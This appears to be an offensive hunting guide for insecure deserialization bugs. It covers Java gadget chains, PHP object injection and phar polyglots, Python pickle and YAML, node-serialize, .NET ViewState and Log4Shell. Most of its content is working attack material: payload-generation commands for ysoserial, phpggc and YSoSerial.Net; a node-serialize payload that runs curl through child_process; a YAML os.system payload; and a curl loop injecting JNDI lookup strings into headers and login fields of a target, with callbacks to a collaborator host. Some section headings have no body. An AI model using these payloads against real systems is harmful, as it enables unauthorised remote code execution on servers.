hunt-deserialization

HUNT-DESERIALIZATION — Insecure Deserialization

Crown Jewel Targets

Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.

Highest-value chains:

• Java ysoserial gadget chains — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
• PHP Object Injection — __wakeup / __destruct magic methods → file write / RCE
• Python pickle — pickle.loads(attacker_data) → __reduce__ → os.system('id')
• .NET BinaryFormatter — TypeConfuseDelegate gadget chain → RCE
• Ruby Marshal.load — Gem::Requirement, Gem::Installer gadgets → RCE
• JNDI injection — Log4Shell pattern: ${jndi:ldap://attacker/a} → class load → RCE

Attack Surface Signals

Detection Patterns

# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1  # shows: ac ed 00 05

Header / Cookie Signals

Step-by-Step Hunting Methodology

Phase 1 — Java Deserialization (ysoserial)

Phase 2 — PHP Object Injection

Phase 3 — Python Pickle

Phase 3b — PHP phar://, Python YAML, Node deserialization

• PHP phar:// (no unserialize() call) — any filesystem function (file_exists/fopen/getimagesize) on a phar:// path deserializes the archive metadata -> object injection with zero unserialize() in code.

  phpggc -p phar -o poly.jpg Monolog/RCE1 system id   # valid-image + phar polyglot
  # then reach  phar://uploads/poly.jpg/x  via any fs call
• Python yaml.load() (CVE-2017-18342) — pre-5.1 default-unsafe: !!python/object/apply:os.system ['curl http://$COLLAB/yaml']
• Node node-serialize (CVE-2017-5941) — IIFE marker in any field passed to unserialize(): {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}

Phase 4 — .NET ViewState

# Check if ViewState is unsigned (MAC disabled)
# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC
 
# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
  -c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64

Phase 5 — Log4Shell / JNDI

# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
  curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done
 
# Test POST body fields
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"

Phase 6 — Ruby Marshal

# Look for Marshal.load in source
grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .
 
# Gem::Requirement gadget chain via marshalable objects
# Use ruby-advisory-db gadgets

Chain Table

Automation

# OOB listener
interactsh-client -v -n 5
 
# JNDI exploit kit
git clone https://github.com/pimps/JNDI-Exploit-Kit

Validation

✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed ✅ Command output in response: full RCE confirmed

Severity: Almost always Critical — RCE with server process privileges.